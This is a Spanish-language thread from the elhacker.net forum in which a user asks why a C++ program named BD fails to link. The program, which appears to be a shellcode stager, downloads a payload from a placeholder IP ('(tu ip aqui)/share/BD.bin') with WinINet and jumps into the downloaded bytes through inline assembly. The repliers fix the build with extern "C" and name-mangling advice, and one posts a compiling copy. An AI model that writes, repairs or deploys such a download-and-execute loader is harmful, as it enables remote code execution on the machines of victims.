Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: DonJuanPinorio en 9 Febrero 2021, 15:00 pm



Título: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
Publicado por: DonJuanPinorio en 9 Febrero 2021, 15:00 pm
 C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived')

Código
  1. #include <windows.h>
  2. #include<iostream>
  3. #include<cstring>
  4. #include<Wininet.h>
  5. using namespace std;
  6.  
  7. unsigned char DataReceived[500];
  8. int main(){
  9. int i;
  10.  
  11. HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
  12.  
  13. if(!connect){
  14. cout<<"Connection Failed or Syntax error";
  15. return 0;
  16. }
  17.  
  18. HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(tu ip aqui)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
  19.  
  20.  
  21. if ( !OpenAddress )
  22. {
  23. DWORD ErrorNum = GetLastError();
  24. cout<<"Failed to open URL \nError No: "<<ErrorNum;
  25. InternetCloseHandle(connect);
  26. return 0;
  27. }
  28.  
  29. DWORD NumberOfBytesRead = 0;
  30.  
  31.  
  32. while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
  33. {
  34.  
  35. for(i=0;i<sizeof DataReceived; i++ ){
  36.  
  37. printf("\\x%02x",DataReceived[i]);
  38.  
  39. }
  40.  
  41. __asm ("lea _DataReceived, %rax");
  42. __asm ("push %rax");
  43. __asm ("ret");
  44. }
  45.  
  46. InternetCloseHandle(OpenAddress);
  47. InternetCloseHandle(connect);
  48.  
  49. return 0;
  50. }


//////////////////////////////////////////////////////////////////////////////////////////
Este es el archivo que se crea del codigo anterior pero me da error en la linea 25 (recipe for target 'BD.exe' failed)

Código:
# Project: BD
# Makefile created by Dev-C++ 5.11

CPP      = g++.exe
CC       = gcc.exe
WINDRES  = windres.exe
OBJ      = BD.o
LINKOBJ  = BD.o
LIBS     = -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib" -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib" -static-libgcc -mwindows -lwininet
INCS     = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include"
CXXINCS  = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include/c++"
BIN      = BD.exe
CXXFLAGS = $(CXXINCS)
CFLAGS   = $(INCS)
RM       = rm.exe -f

.PHONY: all all-before all-after clean clean-custom

all: all-before $(BIN) all-after

clean: clean-custom
${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
$(CPP) $(LINKOBJ) -o $(BIN) $(LIBS)

BD.o: BD.cpp
$(CPP) -c BD.cpp -o BD.o $(CXXFLAGS)


MOD: El código debe ir entre etiquetas de Código GeSHi


Título: Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
Publicado por: Usuario887 en 9 Febrero 2021, 16:58 pm
En el ASM integrado estas poniendo:

Código
  1. __asm ("lea _DataReceived, %rax");

El bufer lo habias llamado DataReceived, ¿No? No _DataReceived

Cambia la linea 41 por:

Código
  1. __asm ("lea DataReceived, %rax");


Título: Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
Publicado por: BloodSharp en 9 Febrero 2021, 17:39 pm
C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived')

Código
  1. extern "C" unsigned char DataReceived[500];

El bufer lo habias llamado DataReceived, ¿No? No _DataReceived

Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado" (https://en.wikipedia.org/wiki/Name_mangling)...


B#


Título: Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
Publicado por: EdePC en 9 Febrero 2021, 17:54 pm
MinGW no se hace problemas, lo compila y ejecuta normal:

Código
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <cstring>
  4. #include <Wininet.h>
  5. using namespace std;
  6.  
  7. unsigned char DataReceived[500];
  8.  
  9. int main() {
  10.  int i;
  11.  HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
  12.  
  13.  if (!connect) {
  14.    cout << "Connection Failed or Syntax error";
  15.    return 0;
  16.  }
  17.  
  18.  HINTERNET OpenAddress = InternetOpenUrl(connect,"http://example.com", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
  19.  
  20.  if ( !OpenAddress ) {
  21.    DWORD ErrorNum = GetLastError();
  22.    cout << "Failed to open URL \nError No: " << ErrorNum;
  23.    InternetCloseHandle(connect);
  24.    return 0;
  25.  }
  26.  
  27.  DWORD NumberOfBytesRead = 0;
  28.  
  29.  while ( InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead ) {
  30.  
  31.    for ( i = 0; i < sizeof DataReceived; i++ ) {
  32.      printf("\\x%02x",DataReceived[i]);
  33.    }
  34.  
  35.    __asm ("lea _DataReceived, %eax");
  36.    __asm ("push %eax");
  37.    __asm ("ret");
  38.  }
  39.  
  40.  InternetCloseHandle(OpenAddress);
  41.  InternetCloseHandle(connect);
  42.  
  43.  return 0;
  44. }

Código
  1. g++ -g bd.cpp -lwininet -static

(https://i.ibb.co/VSvMXDM/bd.png)

De todas maneras le voy a dar una leída a los decorados y eso, ya que recién me entero que se podía meter ASM en C++ XD, en ningún libro que he leído lo mencionaba.


Título: Re: Ayuda con codigo ? C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y..
Publicado por: Usuario887 en 9 Febrero 2021, 19:02 pm
Ese no es el problema, el problema es que no lo declaró como para ser utilizado sin "decorado"...

Pero ¿No depende el decorado del compilador?
Para serte sincero, poca idea tenia del uso correcto de extern "C". Recuerdo que la primera vez que lo lei quede mas confundido que un perro delante de un espejo.
¿Entonces su unica funcion es suprimir el decorado?

Gracias por la correccion.
Saludos.



Estaba leyendo esto (https://stackoverflow.com/questions/1041866/what-is-the-effect-of-extern-c-in-c) y parece que si... caramba cuanto tiempo sin volver a intentar entenderlo... la ultima vez era bastante mas pequeño. Bueno, y ¿Que tiene que ver eso en su problema? Aun sin mangling el nombre sigue siendo _DataReceived mientras el especifico DataReceived en su programa, ¿No?